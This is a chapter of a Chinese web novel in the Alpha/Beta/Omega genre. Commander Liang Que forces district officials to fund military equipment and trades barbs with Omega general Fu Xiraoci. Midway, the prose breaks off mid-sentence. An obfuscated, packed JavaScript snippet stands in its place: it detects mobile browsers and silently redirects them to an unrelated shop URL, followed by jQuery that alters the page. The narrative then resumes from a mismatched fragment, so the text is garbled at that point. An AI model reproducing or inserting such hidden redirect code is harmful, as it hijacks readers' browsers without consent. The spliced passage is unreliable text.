原先付溪辞尚且温吞,不知道心思飞在哪里,梁确跟他这么说完,只见他打了个激灵,这一下子彻底清醒。
他对待梁确向来过度防卫,而事实可见,这从来不会浪费。
眨眼间,付溪辞颇为警惕地后退了好几步,带上自己的水杯和本子,很显然是拒绝坐到梁确腿上。
继而他仓促转移去斜对角,单手拉开椅子的时候,还狠狠地瞥了梁确一眼。
梁确没有被吓住,觉得他好玩:“一会儿要凑过来,一会儿又和我翻脸。”
付溪辞说:“你助理说你要好吃好喝伺候我,这里一颗糖都没看到,光卖色了是吧?”
梁确比他脸皮厚:“可说,被召来首都我以为是上岸,部长刚刚靠那么近,我差点怀疑要下海。”
付溪辞:“……”
他心里揣着那张单子,堪堪忍住了没说,一言不发地翻开笔记,埋头开始做会前工作。
梁确问:“除了第五区的方衡,这几次还有谁在找麻烦?”
付溪辞灵活地转着钢笔,闻言撩起眼帘,以为他要做心理准备。
“第二区的邱宗朋也算是刺头,带节奏的就那么两个,其他人都是墙头草。”
付溪辞说完,梁确没有再出声,翻了翻手头的一沓纸,见各个负责人陆续就位。
方衡拿到赞助合同,一改往日的口风,主动说要落实装备。
“梁指挥,我们今天尽早签协议,要是没别的事,我得快点回绥旗。”他道。
邱宗朋诧异:“你为什么突然急着走?”
方衡肯定不会说自己受到了帮衬,否则个个都要同等待遇,对他没有一点好处。
“我老丈人得了结肠癌,总要回去孝顺。”他搬出家务事,“本来我就只能耗上半个月。”
闻言,旁人连忙问:“家里怎么样?既然出了这种事,出差能推就推了啊。”
“唉,还好这病不磨人,做手术摘掉坏的部位就行,我也尽量不耽误正事。”方衡说。
有人安慰:“这年头生病的太多,家属们必须放平心态。”
“情绪是真的很重要,前些年打仗打到家门口,我操心得一个礼拜没怎么睡,压力大到信息素紊乱了好多个月。”
“哈哈哈那你岂不是当Beta去了么?”
“操,我一问周围那些人,基本都不太正常好吧,建立了防御线之后,我终于能有安稳觉,分分钟变回了Alpha!”
他们没开始进入正题,漫无边际地闲聊了几句,付溪辞没有参与,用笔尖戳了戳白纸。
“什么叫做基本都不正常,我从来没有你的毛病,话说梁指挥,你有过么?”有人说。
付溪辞捕捉到这句,机敏地竖起耳朵,听梁确回答:“我也没那情况,做Beta别捎上我。”
坐他旁边的官员说:“无痛摘腺体的滋味你们不了解,说实话生活还挺方便,可惜这样子对健康不太好。”
他提到的属于常识,人是一整个系统在精密运转,每个器官如同嵌合齿轮,少了哪个都会产生连锁反应。
比如胆囊平时毫无存在感,可它如果失去功能,消化和代谢都会有干扰,乃至有概率出现肝脏受损。
天生的腺体自然也一样,如果不能发挥效用,首先会影响到激素水平。
付溪辞的分泌也有些问题,因为分化得晚,又滥用抑制剂,导致生殖腔发育得不够成熟。
而在他腺体的病变之后,这点算不上什么了,付溪辞想到这里,手上忍不住微微用力,笔尖戳破了那张纸。
“诶,少将。”方衡看向付溪辞,搭话,“你们Omega在前线应该更不方便?”
付溪辞回答:“抑制剂和隔离贴管够,没有哪里不行。”
旁边的人纳闷:“合着这儿只有我没扛住?鼻子嗅不出信息素那段时间,我真是觉得空气都很清新。”
“有什么没扛住,又不是做了逃兵,身体好不好的你能控制么?”付溪辞接话。
那人笑起来:“对对对,您说得是。”
“我们讲回正题。”梁确开口,起身挨个发文件。
“这边也懒得留各位继续磨蹭,协议一式三份,你们可以看下条件。”
邱宗朋说:“梁指挥是不是搞错了,除了方衡自己愿意,我们没人答应。”
这里总共有六个区,梁确扫视道:“第一区,你们的补贴名单有乒乓桌,照片我都拍下了,买这一批打算放哪儿?”
第一区的连忙说:“他们采购的我不知道……”
“底下办事你不知道,你被他们架空了是吧?”梁确轻松地打断,“那换个能管事的来。”
那人猛然一怔,然后不再吭声,低头去研究那些条款。
梁确跳过邱宗朋,说:“第三区,你们在造大剧院?很喜欢搞娱乐啊,联盟要是到你们那儿调研,我推荐他们去看话剧,横竖是这个修得最好。”
被点到的领导很尴尬,立刻讲了几句场面话,说自己对军工同样重视,更换装备并非太大的难事。
“我们周转得慢,需要晚点付款,可以先打欠条。”第三区硬着头皮说。
梁确道:“你是财政出身,自己去和研究院的谈。”
他并未沉下态度,甚至还很松弛,可三言两语之际,一群人全没了刚才的笑意,不清楚有多少要害被拿捏。
之后是第四区和第六区,他们见大势陡然一转,也没有了抵抗的心思,各地就此成为散沙。
最后,梁确看向邱宗朋,骨节敲了敲桌沿。
不比他和付溪辞资历年轻,邱宗朋年逾六十,属于他们的大前辈。
“邱主任,您不愿意跟我们聊,我只能去找俞司令。”梁确道。
“但来来回回的也麻烦,您都特意跑了这一趟,我还是希望接下来可以省点事。”
邱宗朋说:“行,你让俞世畅来说,你们这些小孩我是搞不懂,首都有动静就要地区付钱,这次完了还有下次,你们到底要拉长战线到什么时候?”
“之前的打完了以后永远都没事?邱主任,按你的说法,我们原地解散好了啊。”梁确说。
“军政分离不是停止作战,没人能保证五年后、十年后会怎么样,你要是只管今天的事,明天就可以办离退,反正能给你签字的全在本地。”
他说完,付溪辞瞄过去,见邱宗朋的表情精彩纷呈。
“想罢我的职,你还没这权力。”邱宗朋说。
梁确说:“我肯定不是自己能拍板,但我被任命负责战后规划,您没配合我工作,这活就做不下去,您看是我办离退么?”
他如果闹到调岗,这事儿就捅到天上去了,梁确来这里是主动卸了兵权,联盟不知道有多少人就此能松口气。
要是他趁此机会做文章,申请回到第五区,无论这事究竟能不能办成,在高层眼里,邱宗朋该被千刀万剐。
邱宗朋被他一问,登时察觉不妙,再发现梁确似乎格外针对自己。
这些话也不是梁确的作风,他即便以往处事坚决,也不会借势逼得那么紧。
他不明白自己哪里触怒过梁确,在他的印象里,对方甚至很少计较,脾气是出了名的随性。
但说到这个份上,邱宗朋没有转圜的余地,拿起了桌上的那叠文件。
“你们的财政支出我也看过一遍,哪来的权限
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301624|198653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不用问。”梁确补充,“换两批装备对你们来说很轻松。”
越是有钱越计较,梁确这趟外出开了眼,和平宣言让某些人完全松懈,在军工上掂斤播两,市政都造起了几条高架路。
大家可以感受宽阔明亮的街头,也理当修复战争的阴霾,这正是胜利的意义,只是胜利也需要被守护。
梁确很明白这一点,若非出于这个,自己大可以脱离条条框框,回遥远的家乡什么也别管,付溪辞也大可不用休假三个月就复职。
这场会议最开始有说有笑,到最后一个个紧着头皮,在散场的时候,方衡搓了搓手,想与梁确拉拢关系。
“老丈人有事就快点走,我这儿又不用尽孝。”梁确笑了一声。
他替第五区谈企业赞助,并不是帮扶方衡,纯粹是出于政务考量,并且合同规范得很细致,必须严格遵守才能生效。
双方之间没多少情谊,梁确懒得有多余交谈,很快找到一个借口脱身。
“你看我做什么?”梁确靠近付溪辞,再朝方衡摆了摆手,“部长找我有事,回见。”
根本没看他也不找他的付溪辞:?
随即,付溪辞望向梁确,戳破:“你刚刚跟邱宗朋那么冲,是回来给军部找场子?”
“你挨他那么多气,我俩在这件事上是一根绳上的蚂蚱,不得把气朝外面出干净。”梁确有理有据。
他向来护短,这方面付溪辞知道。
不过他们合作那么多回,曾经出于条件所迫,内部总有些摩擦,这次是难得完全一致。
两个人搞定装备的事,付溪辞本来该有所缓和,可转念想到要提出标记,巴不得一个人钻到地缝里。
他再三思忖,艰难地咬住了嘴唇,发觉这个请求真是难以启齿。
梁确觉得他很沉默,找了个不痛不痒的话题:“你在档案室那什么,看上去不太舒服,现在你有没有好点?”
他以为这个问题不会出错,两人表面关切一番,便可以离开大楼互相告别。
可是付溪辞从不出常规牌:“没有,我不太好。”
梁确:?
昨天对方还急匆匆跑掉,不乐意被自己看破脆弱的一面,这会儿居然突然调转方向。
他揣摩:“我最开始想去拿抑制剂,看你很快用了隔离贴,一扭头就找不到你影子。”
“Omega不能用Alpha的抑制剂,你们这里估计找不出第二个Omega。”
付溪辞这么说完,眼看要走出楼里,忽地停住了脚步。
梁确转过脸,看他抱着胳膊靠在墙边,直勾勾地打量过来。
碍着他们的身高差,付溪辞需要小幅度地仰起脑袋,从而衬出细白的脖子。
他衬衫扣子系得很高,顺着这个抬头动作,脖侧露出一颗红痣,但是梁确没来得及看清,那抹颜色又被领口严严盖住。
而梁确很快回过神来,自觉不该注意那处领口,再迎上付溪辞的视线。
付溪辞的眼神如有实质,几乎有了审视的意思:“你是不是没怎么和Omega接触过?”
对此,梁确散漫道:“差点给少将打错抑制剂,幸好,旷的生理课没闯出祸。”
付溪辞分析:“哦,读书还翘生理课。”
梁确诧异,介于两个人的关系很难有好事,以为付溪辞在酝酿什么阴谋。
“那么多年了,你要想吊销我的学位证,总不能让学校给我挂掉这一门。”
付溪辞说:“不,学校也是发一本教科书,老师会让我们自修。”
“太多了,你看可能晕字,不过我翻过一遍。”他始终冷淡,像在讨论正经事,“要我教你吗?”